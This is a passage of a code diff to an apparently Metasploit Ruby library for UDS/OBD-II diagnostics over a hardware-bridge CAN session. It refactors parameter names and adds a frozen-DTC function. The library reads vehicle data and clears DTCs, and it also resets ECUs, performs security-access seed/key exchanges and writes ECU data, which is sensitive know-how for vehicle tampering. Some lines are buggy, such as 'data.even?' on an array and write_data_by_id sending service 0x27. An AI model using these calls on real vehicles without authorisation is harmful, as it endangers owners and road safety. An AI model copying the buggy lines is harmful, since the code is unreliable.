ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param pid [Integer] Integer of the PID to get data about # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Hash] client.automotive response - def get_current_data(bus, srcId, dstId, pid, opt={}) - if not client.automotive + def get_current_data(bus, src_id, dst_id, pid, opt = {}) + unless client.automotive print_error("Not an automotive hwbridge session") return {} end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) - bus = client.automotive.active_bus if not bus - if not bus + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) + bus = client.automotive.active_bus unless bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end - client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x01, pid], opt) + client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x01, pid], opt) end # # Get all supported pids for current data # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # # @return [Array] All supported pids from Mode $01 get current data - def get_current_data_pids(bus, srcId, dstId) + def get_current_data_pids(bus, src_id, dst_id) pids = [] - packets = get_current_data(bus, srcId, dstId, 0, {"MAXPKTS" => 1}) - return pids if packets == nil - if packets.has_key? "Packets" and packets["Packets"].size > 0 - hexpids = packets["Packets"][0]["DATA"][3,6] + packets = get_current_data(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 }) + return pids if packets.nil? + if (packets.key? "Packets") && !packets["Packets"].empty? + hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s (1..0x20).each do |pid| pids << pid if hexpids[pid-1] == "1" end end if pids.include? 0x20 - packets = get_current_data(bus, srcId, dstId, 0x20, {"MAXPKTS" => 1}) - if packets.has_key? "Packets" and packets["Packets"].size > 0 - hexpids = packets["Packets"][0]["DATA"][3,6] + packets = get_current_data(bus, src_id, dst_id, 0x20, { "MAXPKTS" => 1 }) + if (packets.key? "Packets") && !packets["Packets"].empty? + hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s (0x20..0x40).each do |pid| pids << pid if hexpids[pid-0x21] == "1" @@ -123,9 +124,9 @@ module UDS end end if pids.include? 0x40 - packets = get_current_data(bus, srcId, dstId, 0x40, {"MAXPKTS" => 1}) - if packets.has_key? "Packets" and packets["Packets"].size > 0 - hexpids = packets["Packets"][0]["DATA"][3,6] + packets = get_current_data(bus, src_id, dst_id, 0x40, { "MAXPKTS" => 1 }) + if (packets.key? "Packets") && !packets["Packets"].empty? + hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s (0x40..0x60).each do |pid| pids << pid if hexpids[pid-0x41] == "1" @@ -133,9 +134,9 @@ module UDS end end if pids.include? 0x60 - packets = get_current_data(bus, srcId, dstId, 0x60, {"MAXPKTS" => 1}) - if packets.has_key? "Packets" and packets["Packets"].size > 0 - hexpids = packets["Packets"][0]["DATA"][3,6] + packets = get_current_data(bus, src_id, dst_id, 0x60, { "MAXPKTS" => 1 }) + if (packets.key? "Packets") && !packets["Packets"].empty? + hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s (0x60..0x80).each do |pid| pids << pid if hexpids[pid-0x61] == "1" @@ -143,9 +144,9 @@ module UDS end end if pids.include? 0x80 - packets = get_current_data(bus, srcId, dstId, 0x80, {"MAXPKTS" => 1}) - if packets.has_key? "Packets" and packets["Packets"].size > 0 - hexpids = packets["Packets"][0]["DATA"][3,6] + packets = get_current_data(bus, src_id, dst_id, 0x80, { "MAXPKTS" => 1 }) + if (packets.key? "Packets") && !packets["Packets"].empty? + hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s (0x80..0xA0).each do |pid| pids << pid if hexpids[pid-0x81] == "1" @@ -153,9 +154,9 @@ module UDS end end if pids.include? 0xA0 - packets = get_current_data(bus, srcId, dstId, 0xA0, {"MAXPKTS" => 1}) - if packets.has_key? "Packets" and packets["Packets"].size > 0 - hexpids = packets["Packets"][0]["DATA"][3,6] + packets = get_current_data(bus, src_id, dst_id, 0xA0, { "MAXPKTS" => 1 }) + if (packets.key? "Packets") && !packets["Packets"].empty? + hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s (0xA0..0xC0).each do |pid| pids << pid if hexpids[pid-0xA1] == "1" @@ -163,12 +164,12 @@ module UDS end end if pids.include? 0xC0 - packets = get_current_data(bus, srcId, dstId, 0xC0, {"MAXPKTS" => 1}) - if packets.has_key? "Packets" and packets["Packets"].size > 0 - hexpids = packets["Packets"][0]["DATA"][3,6] + packets = get_current_data(bus, src_id, dst_id, 0xC0, { "MAXPKTS" => 1 }) + if (packets.key? "Packets") && !packets["Packets"].empty? + hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s (0xC0..0xE0).each do |pid| - pids << pid if hexpids[pid-0xC1] == "1" + pids << pid if hexpids[pid - 0xC1] == "1" end end end @@ -179,15 +180,15 @@ module UDS # Mode $01 Pid $01 gets and parses the monitor status # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # # @return [Hash] Packet Hash with { "MIL" => true|false "DTC_COUNT" => 0 } - def get_monitor_status(bus, srcId, dstId) - packets = get_current_data(bus, srcId, dstId, 0x01, {"MAXPKTS" => 1}) - return {} if packets == nil - return packets if packets.has_key? "error" - return packets if not packets.has_key? "Packets" + def get_monitor_status(bus, src_id, dst_id) + packets = get_current_data(bus, src_id, dst_id, 0x01, { "MAXPKTS" => 1 }) + return {} if packets.nil? + return packets if packets.key? "error" + return packets unless packets.key? "Packets" packets["MIL"] = packets["Packets"][0]["DATA"][3].hex & 0xB0 == 1 ? true : false packets["DTC_COUNT"] = packets["Packets"][0]["DATA"][3].hex & 0x7F packets @@ -197,17 +198,17 @@ module UDS # Gets the engine coolant temprature in both Celcious and Fahrenheit # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # # @return [Hash] Packet Hash with { "TEMP_C" => , "TEMP_F" => } - def get_engine_coolant_temp(bus, srcId, dstId) - packets = get_current_data(bus, srcId, dstId, 0x05, {"MAXPKTS" => 1}) - return {} if packets == nil - return packets if packets.has_key? "error" - return packets if not packets.has_key? "Packets" + def get_engine_coolant_temp(bus, src_id, dst_id) + packets = get_current_data(bus, src_id, dst_id, 0x05, { "MAXPKTS" => 1 }) + return {} if packets.nil? + return packets if packets.key? "error" + return packets unless packets.key? "Packets" celsius = packets["Packets"][0]["DATA"][3].hex - 40 - fahrenheit = celsius * 9/5 + 32 + fahrenheit = celsius * 9 / 5 + 32 packets["TEMP_C"] = celsius packets["TEMP_F"] = fahrenheit packets @@ -217,15 +218,15 @@ module UDS # Gets the engine's current RPMs # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # # @return [Hash] Packet Hash with { "RPM" => } - def get_rpms(bus, srcId, dstId) - packets = get_current_data(bus, srcId, dstId, 0x0C, {"MAXPKTS" => 1}) - return {} if packets == nil - return packets if packets.has_key? "error" - return packets if not packets.has_key? "Packets" + def get_rpms(bus, src_id, dst_id) + packets = get_current_data(bus, src_id, dst_id, 0x0C, { "MAXPKTS" => 1 }) + return {} if packets.nil? + return packets if packets.key? "error" + return packets unless packets.key? "Packets" packets["RPM"] = (256 * packets["Packets"][0]["DATA"][3].hex + packets["Packets"][0]["DATA"][4].hex) / 4 packets end @@ -234,15 +235,15 @@ module UDS # Gets the engine's current vehicle speed in km/h and mph # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # # @return [Hash] Packet Hash with { "SPEED_K" => , "SPEED_M" => } - def get_vehicle_speed(bus, srcId, dstId) - packets = get_current_data(bus, srcId, dstId, 0x0D, {"MAXPKTS" => 1}) - return {} if packets == nil - return packets if packets.has_key? "error" - return packets if not packets.has_key? "Packets" + def get_vehicle_speed(bus, src_id, dst_id) + packets = get_current_data(bus, src_id, dst_id, 0x0D, { "MAXPKTS" => 1 }) + return {} if packets.nil? + return packets if packets.key? "error" + return packets unless packets.key? "Packets" packets["SPEED_K"] = packets["Packets"][0]["DATA"][3].hex packets["SPEED_M"] = packets["SPEED_K"] / 1.609344 packets @@ -253,18 +254,18 @@ module UDS # but currently creates a human readable string instead. This may change in the future. # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # # @return [String] Description of standard - def get_obd_standards(bus, srcId, dstId) - packets = get_current_data(bus, srcId, dstId, 0x1C, {"MAXPKTS" => 1}) - return "" if packets == nil - if packets.has_key? "error" - print_error("OBD ERR: #{packets["error"]}") + def get_obd_standards(bus, src_id, dst_id) + packets = get_current_data(bus, src_id, dst_id, 0x1C, { "MAXPKTS" => 1 }) + return "" if packets.nil? + if packets.key? "error" + print_error("OBD ERR: #{packets['error']}") return "" end - return "" if not packets.has_key? "Packets" + return "" unless packets.key? "Packets" case packets["Packets"][0]["DATA"][3].hex when 1 return "OBD-II as defined by CARB" @@ -322,10 +323,10 @@ module UDS return "India OBD II (IOBD II)" when 33 return "Heavy Duty Euro OBD Stage VI (HD EOBD-IV)" - when 14..16,22,27,34..250 + when 14..16, 22, 27, 34..250 return "Reserved" end - return "SAE J1939 Special Meanings" + "SAE J1939 Special Meanings" end ### Mode $02 ### @@ -335,28 +336,28 @@ module UDS # #get_current_data_pids. You must specify which freeze frame you want to recall data from. # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param pid [Integer] Integer of the PID to get data about # @param frame [Integer] Freeze Frame Number # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Hash] client.automotive response - def get_freeze_frame_data(bus, srcId, dstId, pid, frame, opt={}) - if not client.automotive + def get_freeze_frame_data(bus, src_id, dst_id, pid, frame, opt = {}) + unless client.automotive print_error("Not an automotive hwbridge session") return {} end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) - bus = client.automotive.active_bus if not bus + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) + bus = client.automotive.active_bus unless bus pid = pid.to_s(16) frame = frame.to_s(16) - if not bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end - client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x02, pid, frame], opt) + client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x02, pid, frame], opt) end ### Mode $03 ### @@ -365,37 +366,37 @@ module UDS # Retrieves the Diagnostic Trouble Codes (DTCs) # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Array] Array of DTCs - def get_dtcs(bus, srcId, dstId, opt={}) + def get_dtcs(bus, src_id, dst_id, opt = {}) dtcs = [] - if not client.automotive + unless client.automotive print_error("Not an automotive hwbridge session") return {} end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) - bus = client.automotive.active_bus if not bus - if not bus + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) + bus = client.automotive.active_bus unless bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end - data = client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x03], opt) - return [] if data == nil - if data.has_key? "error" - print_error("UDS ERR: #{data["error"]}") + data = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x03], opt) + return [] if data.nil? + if data.key? "error" + print_error("UDS ERR: #{data['error']}") return [] end - if data.has_key? "Packets" and data["Packets"].size > 0 - data = response_hash_to_data_array(dstId, data) - if data.size > 0 and data.size % 2 == 0 - (0..data.size).step(2) do |idx| + if (data.key? "Packets") && !data["Packets"].empty? + data = response_hash_to_data_array(dst_id, data, 4) + if !data.empty? && data.even? + (0..data.size / 2).step(2) do |idx| code = "" - case data[idx].hex & 0xC0 + case data[idx].hex & 0xC0 >> 3 when 0 code = "P" when 1 @@ -405,8 +406,8 @@ module UDS when 3 code = "U" end - code += (data[idx].hex & 0x3F).to_s(16) - code += data[idx+1] + code += (data[idx].hex & 0x3F).to_s(16).rjust(2, '0') + code += data[idx + 1] dtcs << code end end @@ -420,25 +421,80 @@ module UDS # Clears the DTCs and Resets the MIL light back to the off position # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Hash] No packets are expected to return but an error could be returned - def clear_dtcs(bus, srcId, dstId, opt={}) - if not client.automotive + def clear_dtcs(bus, src_id, dst_id, opt = {}) + unless client.automotive print_error("Not an automotive hwbridge session") return {} end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) - bus = client.automotive.active_bus if not bus - if not bus + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) + bus = client.automotive.active_bus unless bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end - client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x04], opt) + client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x04], opt) + end + + ### Mode $07 ### + + # + # Retrieves the Frozen Diagnostic Trouble Codes (DTCs) + # + # @param bus [String] unique CAN bus identifier + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response + # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response + # + # @return [Array] Array of DTCs + def get_frozen_dtcs(bus, src_id, dst_id, opt = {}) + dtcs = [] + unless client.automotive + print_error("Not an automotive hwbridge session") + return {} + end + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) + bus = client.automotive.active_bus unless bus + unless bus + print_line("No active bus, use 'connect' or specify bus via the options") + return {} + end + data = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x07], opt) + return [] if data.nil? + if data.key? "error" + print_error("UDS ERR: #{data['error']}") + return [] + end + if (data.key? "Packets") && !data["Packets"].empty? + data = response_hash_to_data_array(dst_id, data, 4) + if !data.empty? && data.size.even? + (0..data.size / 2).step(2) do |idx| + code = "" + case data[idx].hex & 0xC0 >> 3 + when 0 + code = "P" + when 1 + code = "C" + when 2 + code = "B" + when 3 + code = "U" + end + code += (data[idx].hex & 0x3F).to_s(16).rjust(2, '0') + code += data[idx + 1] + dtcs << code + end + end + end + dtcs end ### Mode $09 ### @@ -448,25 +504,25 @@ module UDS # No formatting is done on the response # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Hash] client.automotive response - def get_vehicle_info(bus, srcId, dstId, mode, opt={}) - if not client.automotive + def get_vehicle_info(bus, src_id, dst_id, mode, opt = {}) + unless client.automotive print_error("Not an automotive hwbridge session") return {} end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) - bus = client.automotive.active_bus if not bus + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) + bus = client.automotive.active_bus unless bus mode = mode.to_s(16) - if not bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end - client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x09, mode], opt) + client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x09, mode], opt) end # @@ -474,19 +530,23 @@ module UDS # Returns them as an array of ints # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # # @return [Array] Array of PIDS supported by Mode $09 - def get_vinfo_supported_pids(bus, srcId, dstId) + def get_vinfo_supported_pids(bus, src_id, dst_id) pids = [] - packets = get_vehicle_info(bus, srcId, dstId, 0, {"MAXPKTS" => 1}) - return pids if packets == nil - if packets.has_key? "Packets" and packets["Packets"].size > 0 - hexpids = packets["Packets"][0]["DATA"][3,6] + packets = get_vehicle_info(bus, src_id, dst_id, 0, { "MAXPKTS" => 1 }) + return pids if packets.nil? + if (packets.key? "Packets") && !packets["Packets"].empty? + unless packets["Packets"][0]["DATA"][1].hex == 0x49 + print_error("ECU Did not return a valid response") + return [] + end + hexpids = packets["Packets"][0]["DATA"][3, 6] hexpids = hexpids.join.hex.to_s(2).rjust(32, '0').split('') # Array of 1s and 0s (1..20).each do |pid| - pids << pid if hexpids[pid-1] == "1" + pids << pid if hexpids[pid - 1] == "1" end end pids @@ -496,16 +556,16 @@ module UDS # Requests a VIN and formats the response as ASCII # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # # @return [String] VIN as ASCII - def get_vin(bus, srcId, dstId) - packets = get_vehicle_info(bus, srcId, dstId, 0x02) - return "" if packets == nil - return "UDS ERR: #{packets["error"]}" if packets.has_key? "error" - data = response_hash_to_data_array(dstId.to_s(16), packets) - return "" if data == nil + def get_vin(bus, src_id, dst_id) + packets = get_vehicle_info(bus, src_id, dst_id, 0x02) + return "" if packets.nil? + return "UDS ERR: #{packets['error']}" if packets.key? "error" + data = response_hash_to_data_array(dst_id.to_s(16), packets) + return "" if data.nil? data.map! { |d| d.hex.chr } data.join end @@ -513,16 +573,16 @@ module UDS # Gets the vehicle calibration ID and returns it as an ASCII string # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # # @return [String] Calibration ID as ASCII - def get_calibration_id(bus, srcId, dstId) - packets = get_vehicle_info(bus, srcId, dstId, 0x04) - return "" if packets == nil - return "UDS ERR: #{packets["error"]}" if packets.has_key? "error" - data = response_hash_to_data_array(dstId.to_s(16), packets) - return "" if data == nil + def get_calibration_id(bus, src_id, dst_id) + packets = get_vehicle_info(bus, src_id, dst_id, 0x04) + return "" if packets.nil? + return "UDS ERR: #{packets['error']}" if packets.key? "error" + data = response_hash_to_data_array(dst_id.to_s(16), packets) + return "" if data.nil? data.map! { |d| d.hex.chr } data.join end @@ -530,16 +590,16 @@ module UDS # Get the vehicles ECU name pid 0x0A # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # # @return [String] ECU Name as ASCII - def get_ecu_name(bus, srcId, dstId) - packets = get_vehicle_info(bus, srcId, dstId, 0x0A) - return "" if packets == nil - return "UDS ERR: #{packets["error"]}" if packets.has_key? "error" - data = response_hash_to_data_array(dstId.to_s(16), packets) - return "" if data == nil + def get_ecu_name(bus, src_id, dst_id) + packets = get_vehicle_info(bus, src_id, dst_id, 0x0A) + return "" if packets.nil? + return "UDS ERR: #{packets['error']}" if packets.key? "error" + data = response_hash_to_data_array(dst_id.to_s(16), packets) + return "" if data.nil? data.map! { |d| d.hex.chr } data.join end @@ -553,28 +613,28 @@ module UDS # Set the diagnostic session code # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param level [Integer] The desired DSC level # # @return [Hash] client.automtoive response - def set_dsc(bus, srcId, dstId, level) - if not client.automotive + def set_dsc(bus, src_id, dst_id, level) + unless client.automotive print_error("Not an automotive hwbridge session") return {} end level = level.to_s(16) - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) - bus = client.automotive.active_bus if not bus - if not bus + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) + bus = client.automotive.active_bus unless bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end opt = {} - opt["TIMEOUT"]=20 - opt["MAXPKTS"]=1 - client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x10, level], opt) + opt["TIMEOUT"] = 20 + opt["MAXPKTS"] = 1 + client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x10, level], opt) end ### Mode $11 ### @@ -583,26 +643,26 @@ module UDS # Issues a reset of the ECU # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param hard [Boolean] If true a hard reset will be peformed # @param opt [Hash] Additional options to be passed to automotive.send_isotp_and_wait_for_response # # @return [Hash] client.automtoive response (Could be no response) - def reset_ecu(bus, srcId, dstId, hard, opt={}) - if not client.automotive + def reset_ecu(bus, src_id, dst_id, hard, opt = {}) + unless client.automotive print_error("Not an automotive hwbridge session") return {} end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) - bus = client.automotive.active_bus if not bus - if not bus + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) + bus = client.automotive.active_bus unless bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end reset_type = hard ? 1 : 0 - client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x11, reset_type], opt) + client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x11, reset_type], opt) end ### Mode $22 ### @@ -611,45 +671,45 @@ module UDS # Reads data from a memory region given a lookup ID value # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param id [Array] 2 Bytes in an array of the identifier. Example [ 0xF1, 0x90 ] # @param show_error [Boolean] If an error, return the Packet hash instead, Default false # # @return [Array] Data retrieved. If show_error is true and an error is detected, then packet hash will be returned instead - def read_data_by_id(bus, srcId, dstId, id, show_error=false) + def read_data_by_id(bus, src_id, dst_id, id, show_error = false) data = [] - if not client.automotive + unless client.automotive print_error("Not an automotive hwbridge session") return {} if show_error return [] end - if not id.is_a? Array + unless id.is_a? Array print_error("ID paramater must be a two byte array") return {} if show_error return [] end - if not id.size == 2 + unless id.size == 2 print_error("ID paramater must be a two byte array") return {} if show_error return [] end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) id.map! { |i| i.to_s(16) } if id[0].is_a? Integer - bus = client.automotive.active_bus if not bus - if not bus + bus = client.automotive.active_bus unless bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end opt = {} opt["MAXPKTS"] = 15 - packets = client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x22] + id, opt) - return [] if packets == nil - if packets.has_key? "error" + packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x22] + id, opt) + return [] if packets.nil? + if packets.key? "error" return packets if show_error else - data = response_hash_to_data_array(dstId, packets) + data = response_hash_to_data_array(dst_id, packets) end data end @@ -660,30 +720,30 @@ module UDS # Retrieves the security access token # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param level [Integer] Requested security access level. Default is 1 # # @return [Hash] Packet Hash with { "SEED" => [ XX, XX ] } - def get_security_token(bus, srcId, dstId, level=1) - if not client.automotive + def get_security_token(bus, src_id, dst_id, level = 1) + unless client.automotive print_error("Not an automotive hwbridge session") return {} end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) level = level.to_s(16) - bus = client.automotive.active_bus if not bus - if not bus + bus = client.automotive.active_bus unless bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end - opt={} - opt["MAXPKTS"]=1 - packets = client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x27, level], opt) - return {} if packets == nil - if not packets.has_key? "error" - packets["SEED"] = response_hash_to_data_array(dstId, packets) + opt = {} + opt["MAXPKTS"] = 1 + packets = client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, level], opt) + return {} if packets.nil? + unless packets.key? "error" + packets["SEED"] = response_hash_to_data_array(dst_id, packets) end packets end @@ -692,33 +752,33 @@ module UDS # Sends a security access tokens response to the seed request # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # param key [Array] Array of Hex to be used as the key. Same size as the seed # @param response_level [Integer] Requested security access level response. Usually level + 1. Default is 2 # # @return [Hash] packet response from client.automotoive - def send_security_token_response(bus, srcId, dstId, key, response_level=2) - if not client.automotive + def send_security_token_response(bus, src_id, dst_id, key, response_level = 2) + unless client.automotive print_error("Not an automotive hwbridge session") return {} end - if not key.is_a? Array + unless key.is_a? Array print_error("Key must be an array of hex values") return {} end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) key.map! { |k| k.to_s(16) } if key[0].is_a? Integer response_level = response_level.to_s(16) - bus = client.automotive.active_bus if not bus - if not bus + bus = client.automotive.active_bus unless bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end opt = {} - opt["MAXPKTS"]=1 - client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x27, response_level] + key, opt) + opt["MAXPKTS"] = 1 + client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, [0x27, response_level] + key, opt) end ### Mode $2E ### @@ -727,37 +787,37 @@ module UDS # Writes data by ID # # @param bus [String] unique CAN bus identifier - # @param srcId [Integer] Integer representation of the Sending CAN ID - # @param dstId [Integer] Integer representation of the receiving CAN ID + # @param src_id [Integer] Integer representation of the Sending CAN ID + # @param dst_id [Integer] Integer representation of the receiving CAN ID # @param id [Array] 2 Bytes in an array of the identifier. Example [ 0xF1, 0x90 ] # @param data [Array] Array of bytes to write # # @return [Hash] Packet hash from client.automotive - def write_data_by_id(bus, srcId, dstId, id, data) - if not client.automotive + def write_data_by_id(bus, src_id, dst_id, id, data) + unless client.automotive print_error("Not an automotive hwbridge session") return {} end - if not id.is_a? Array + unless id.is_a? Array print_error("ID must be an array of hex values") return {} end - if not data.is_a? Array + unless data.is_a? Array print_error("DATA must be an array of hex values") return {} end - srcId = srcId.to_s(16) - dstId = dstId.to_s(16) + src_id = src_id.to_s(16) + dst_id = dst_id.to_s(16) id.map! { |i| i.to_s(16) } if id[0].is_a? Integer data.map! { |d| d.to_s(16) } if data[0].is_a? Integer - bus = client.automotive.active_bus if not bus - if not bus + bus = client.automotive.active_bus unless bus + unless bus print_line("No active bus, use 'connect' or specify bus via the options") return {} end - opt={} - opt["MAXPKTS"]=1 - client.automotive.send_isotp_and_wait_for_response(bus,srcId, dstId, [0x27] + id + data, opt) + opt = {} + opt["MAXPKTS"] = 1 + client.automotive.send_isotp_and_wait_for_response(bus, src_id, dst_id, 